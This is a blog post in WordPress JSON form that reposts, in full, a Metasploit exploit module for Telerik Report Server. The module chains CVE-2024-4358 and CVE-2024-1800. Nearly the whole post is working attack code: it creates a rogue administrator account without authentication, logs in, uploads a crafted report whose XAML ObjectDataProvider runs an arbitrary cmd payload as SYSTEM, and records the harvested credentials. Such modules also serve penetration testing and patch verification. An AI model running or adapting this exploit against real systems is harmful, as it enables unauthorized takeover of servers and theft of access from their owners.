{"id":57467,"date":"2024-06-13T17:31:11","date_gmt":"2024-06-13T14:31:11","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179084\/telerik_report_server_deserialization.rb.txt"},"modified":"2024-06-13T17:31:11","modified_gmt":"2024-06-13T14:31:11","slug":"telerik-report-server-authentication-bypass-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/telerik-report-server-authentication-bypass-remote-code-execution\/","title":{"rendered":"Telerik Report Server Authentication Bypass \/ Remote Code Execution"},"content":{"rendered":"<p># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<\/p>\n<p>require &#8216;rex\/zip&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>prepend Msf::Exploit::Remote::AutoCheck<br \/>include Msf::Exploit::Remote::CheckModule<br \/>include Msf::Exploit::Remote::HttpClient<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Telerik Report Server Auth Bypass and Deserialization RCE&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module chains an authentication bypass vulnerability (CVE-2024-4358) with a deserialization vulnerability<br \/>(CVE-2024-1800) to obtain remote code execution against Telerik Report Server version 10.0.24.130 and prior.<br \/>The authentication bypass flaw allows an unauthenticated user to create a new user with administrative privileges.<br \/>The USERNAME datastore option can be used to authenticate with an existing account to prevent the creation of a<br \/>new one. The deserialization flaw works by uploading a specially crafted report that when loaded will execute an<br \/>OS command as NT AUTHORITY\\SYSTEM. The module will automatically delete the created report but not the account<br \/>because users are unable to delete themselves.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;SinSinology&#8217;, # CVE-2024-4358 discovery, original PoC and vulnerability write-up<br \/>&#8216;Soroush Dalili&#8217;, # CVE-2024-1800 exploitation assistance<br \/>&#8216;Unknown&#8217;, # CVE-2024-1800 discovery<br \/>&#8216;Spencer McIntyre&#8217; # MSF module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;CVE&#8217;, &#8216;2024-1800&#8217; ], # .NET deserialization vulnerability # patched in &gt; 10.0.24.130<br \/>[ &#8216;CVE&#8217;, &#8216;2024-4358&#8217; ], # Authentication bypass # patched in &gt; 10.0.24.305<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/summoning.team\/blog\/progress-report-server-rce-cve-2024-4358-cve-2024-1800\/&#8217; ]],<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[ &#8216;Automatic&#8217;, {} ],<br \/>],<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;SSL&#8217; =&gt; false,<br \/>&#8216;RPORT&#8217; =&gt; 83<br \/>},<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-06-04&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE, ],<br \/>&#8216;SideEffects&#8217; =&gt; [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION, ],<br \/>&#8216;RelatedModules&#8217; =&gt; [ check_module ]}<br \/>)<br \/>)<\/p>\n<p>register_options([<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The base path to the web application&#8217;, &#8216;\/&#8217; ]),<br \/>OptString.new(&#8216;USERNAME&#8217;, [false, &#8216;Username for the new account&#8217;, &#8221;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [false, &#8216;Password for the new account&#8217;, &#8221;])<br \/>])<br \/>deregister_options(&#8216;CheckModule&#8217;)<br \/>end<\/p>\n<p>def check_module<br \/>&#8216;auxiliary\/scanner\/http\/telerik_report_server_auth_bypass&#8217;<br \/>end<\/p>\n<p>def check_options<br \/>{ &#8216;ACTION&#8217; =&gt; &#8216;CHECK&#8217; }<br \/>end<\/p>\n<p>def check<br \/>check_code = super<\/p>\n<p>if check_code == CheckCode::Appears<br \/># The auth bypass affects later versions than the RCE, so just filter those out<br \/>version = check_code.details[:version]if version &gt; Rex::Version.new(&#8216;10.0.24.130&#8217;)<br \/>return CheckCode::Safe(&#8220;Telerik Report Server #{version} is not affected by CVE-2024-1800.&#8221;, details: check_code.details)<br \/>end<br \/>end<\/p>\n<p>check_code<br \/>end<\/p>\n<p>def username<br \/>@username ||= datastore[&#8216;USERNAME&#8217;].blank? ? Faker::Internet.username : datastore[&#8216;USERNAME&#8217;]end<\/p>\n<p>def password<br \/>@password ||= (create_account? &amp;&amp; datastore[&#8216;PASSWORD&#8217;].blank?) ? Rex::Text.rand_text_alphanumeric(16) : datastore[&#8216;PASSWORD&#8217;]end<\/p>\n<p>def create_account?<br \/># unless the user specifies a username, use CVE-2024-4358 to create an account for them.<br \/>datastore[&#8216;USERNAME&#8217;].blank?<br \/>end<\/p>\n<p>def create_account!<br \/># create a new account by exploiting CVE-2024-4358<br \/>res = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;Startup\/Register&#8217;),<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;Username&#8217; =&gt; username,<br \/>&#8216;Password&#8217; =&gt; password,<br \/>&#8216;ConfirmPassword&#8217; =&gt; password,<br \/>&#8216;Email&#8217; =&gt; Faker::Internet.email(name: username),<br \/>&#8216;FirstName&#8217; =&gt; Faker::Name.first_name,<br \/>&#8216;LastName&#8217; =&gt; Faker::Name.last_name<br \/>}<br \/>)<br \/>fail_with(Failure::Unreachable, &#8216;No response received&#8217;) if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8216;Failed to create the new account&#8217;) unless res.code == 302 &amp;&amp; res.headers[&#8216;location&#8217;]&amp;.end_with?(&#8216;\/Report\/Index&#8217;)<br \/>end<\/p>\n<p>def login<br \/>res = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;Token&#8217;),<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;grant_type&#8217; =&gt; &#8216;password&#8217;,<br \/>&#8216;username&#8217; =&gt; username,<br \/>&#8216;password&#8217; =&gt; password<br \/>}<br \/>)<\/p>\n<p>fail_with(Failure::Unreachable, &#8216;No response received&#8217;) if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8216;Failed to login to the target (invalid response)&#8217;) unless res.headers[&#8216;content-type&#8217;]&amp;.start_with?(&#8216;application\/json&#8217;)<br \/>fail_with(Failure::NoAccess, &#8216;Failed to login to the target (invalid credentials)&#8217;) unless res.code == 200<\/p>\n<p>access_token = res.get_json_document[&#8216;access_token&#8217;]fail_with(Failure::UnexpectedReply, &#8216;Failed to login to the target (missing access token)&#8217;) unless access_token.present?<\/p>\n<p>print_good(&#8220;Successfully authenticated as #{username}&#8221;)<br \/>report_creds(username, password)<br \/>access_token<br \/>end<\/p>\n<p>def build_trdp<br \/>zip = Rex::Zip::Archive.new<br \/>zip.add_file(<br \/>&#8216;[Content_Types].xml&#8217;,<br \/>Nokogiri::XML(&lt;&lt;-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).to_xml(indent: 0, save_with: 0)<br \/>&lt;Types xmlns=&#8221;http:\/\/schemas.openxmlformats.org\/package\/2006\/content-types&#8221;&gt;<br \/>&lt;Default Extension=&#8221;xml&#8221; ContentType=&#8221;application\/zip&#8221; \/&gt;<br \/>&lt;\/Types&gt;<br \/>XML<br \/>)<br \/>zip.add_file(<br \/>&#8216;definition.xml&#8217;,<br \/>Nokogiri::XML(&lt;&lt;-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)<br \/>&lt;Report Width=&#8221;6.5in&#8221; Name=&#8221;oooo&#8221; xmlns=&#8221;http:\/\/schemas.telerik.com\/reporting\/2021\/1.0&#8243;&gt;<br \/>&lt;Items&gt;<br \/>&lt;ResourceDictionary<br \/>xmlns=&#8221;clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35&#8243;<br \/>xmlns:System=&#8221;clr-namespace:System;assembly:mscorlib&#8221;<br \/>xmlns:Diag=&#8221;clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089&#8243;<br \/>xmlns:ODP=&#8221;clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35&#8243;<br \/>&gt;<br \/>&lt;ODP:ObjectDataProvider MethodName=&#8221;Start&#8221; &gt;<br \/>&lt;ObjectInstance&gt;<br \/>&lt;Diag:Process&gt;<br \/>&lt;StartInfo&gt;<br \/>&lt;Diag:ProcessStartInfo FileName=&#8221;cmd&#8221; Arguments=#{&#8220;\/c #{payload.encoded}&#8221;.encode(xml: :attr)}&gt;&lt;\/Diag:ProcessStartInfo&gt;<br \/>&lt;\/StartInfo&gt;<br \/>&lt;\/Diag:Process&gt;<br \/>&lt;\/ObjectInstance&gt;<br \/>&lt;\/ODP:ObjectDataProvider&gt;<br \/>&lt;\/ResourceDictionary&gt;<br \/>&lt;\/Items&gt;<br \/>&lt;\/Report&gt;<br \/>XML<br \/>)<br \/>zip.pack<br \/>end<\/p>\n<p>def send_request_api(resource, method: nil, data: nil)<br \/>if method.nil?<br \/>method = data.nil? ? &#8216;GET&#8217; : &#8216;POST&#8217;<br \/>end<\/p>\n<p>res = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; method,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api&#8217;, resource),<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;Authorization&#8217; =&gt; &#8220;Bearer #{@access_token}&#8221;<br \/>},<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;data&#8217; =&gt; data.nil? ? nil : data.to_json<br \/>)<br \/>fail_with(Failure::Unreachable, &#8216;No API response received&#8217;) if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8220;The API responded with status #{res.code}&#8221;) unless res.code == 200<\/p>\n<p>return nil if res.body.blank?<\/p>\n<p>fail_with(Failure::UnexpectedReply, &#8216;API response content is not JSON data&#8217;) unless res.headers[&#8216;content-type&#8217;]&amp;.start_with?(&#8216;application\/json&#8217;)<\/p>\n<p>res.get_json_document<br \/>end<\/p>\n<p>def exploit<br \/>if create_account?<br \/>print_status(&#8216;Creating a new administrator account using CVE-2024-4358&#8217;)<br \/>create_account!<br \/>print_good(&#8220;Created account: #{username}:#{password} (Note: This account will not be deleted by the module)&#8221;)<br \/>end<\/p>\n<p>@access_token = login<\/p>\n<p>categories = send_request_api(&#8216;reportserver\/categories&#8217;)<\/p>\n<p>report_name = rand_text_alphanumeric(10)<br \/>category = categories.sample<br \/>fail_with(Failure::Unknown, &#8216;A random category could not be selected&#8217;) unless category<\/p>\n<p>print_status(&#8220;Using category: #{category[&#8216;Name&#8217;]}&#8221;)<\/p>\n<p>send_request_api(<br \/>&#8216;reportserver\/report&#8217;,<br \/>data: {<br \/>&#8216;reportName&#8217; =&gt; report_name,<br \/>&#8216;categoryName&#8217; =&gt; category[&#8216;Name&#8217;],<br \/>&#8216;description&#8217; =&gt; nil,<br \/>&#8216;reportContent&#8217; =&gt; Rex::Text.encode_base64(build_trdp),<br \/>&#8216;extension&#8217; =&gt; &#8216;.trdp&#8217;<br \/>}<br \/>)<br \/>vprint_status(&#8220;Created report: #{report_name}&#8221;)<\/p>\n<p>res_json = send_request_api(&#8216;reportserver\/reports&#8217;)<br \/>@report = res_json.find { |report| report[&#8216;Name&#8217;] == report_name &amp;&amp; report[&#8216;CategoryId&#8217;] == category[&#8216;Id&#8217;] }<\/p>\n<p>res_json = send_request_api(<br \/>&#8216;reports\/clients&#8217;,<br \/>data: {<br \/>&#8216;timeStamp&#8217; =&gt; nil<br \/>}<br \/>)<\/p>\n<p>client_id = res_json[&#8216;clientId&#8217;]fail_with(Failure::UnexpectedReply, &#8216;Failed to obtain the client ID&#8217;) unless client_id.present?<\/p>\n<p>begin<br \/>send_request_api(<br \/>&#8220;reports\/clients\/#{client_id}\/parameters&#8221;,<br \/>data: {<br \/>&#8216;report&#8217; =&gt; &#8220;NAME\/#{category[&#8216;Name&#8217;]}\/#{report_name}\/&#8221;,<br \/>&#8216;parameterValues&#8217; =&gt; {}<br \/>}<br \/>)<br \/>rescue Msf::Exploit::Failed =&gt; e<br \/>raise e unless fail_reason == Failure::UnexpectedReply<\/p>\n<p>print_good(&#8216;The server responded with an error indicating that the payload was executed&#8217;)<br \/>self.fail_reason = Failure::None<br \/>end<br \/>end<\/p>\n<p>def cleanup<br \/>return unless @report &amp;&amp; @access_token<\/p>\n<p>print_status(&#8220;Deleting report &#8216;#{@report[&#8216;Name&#8217;]}&#8217; (ID: #{@report[&#8216;Id&#8217;]})&#8221;)<br \/>send_request_api(&#8220;reportserver\/reports\/#{@report[&#8216;Id&#8217;]}&#8221;, method: &#8216;DELETE&#8217;)<br \/>end<\/p>\n<p>def report_creds(user, pass)<br \/>credential_data = {<br \/>module_fullname: fullname,<br \/>username: user,<br \/>private_data: pass,<br \/>private_type: :password,<br \/>workspace_id: myworkspace_id,<br \/>last_attempted_at: Time.now,<br \/>status: Metasploit::Model::Login::Status::SUCCESSFUL<br \/>}.merge(service_details)<\/p>\n<p>create_credential_and_login(credential_data)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p># This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework require &#8216;rex\/zip&#8217; class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Remote::CheckModuleinclude Msf::Exploit::Remote::HttpClient def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Telerik Report Server Auth Bypass and Deserialization RCE&#8217;,&#8216;Description&#8217; =&gt; %q{This module chains an authentication bypass vulnerability (CVE-2024-4358) with a deserialization vulnerability(CVE-2024-1800) to obtain remote code execution against Telerik Report &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57467","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57467","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57467"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57467\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57467"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57467"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57467"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}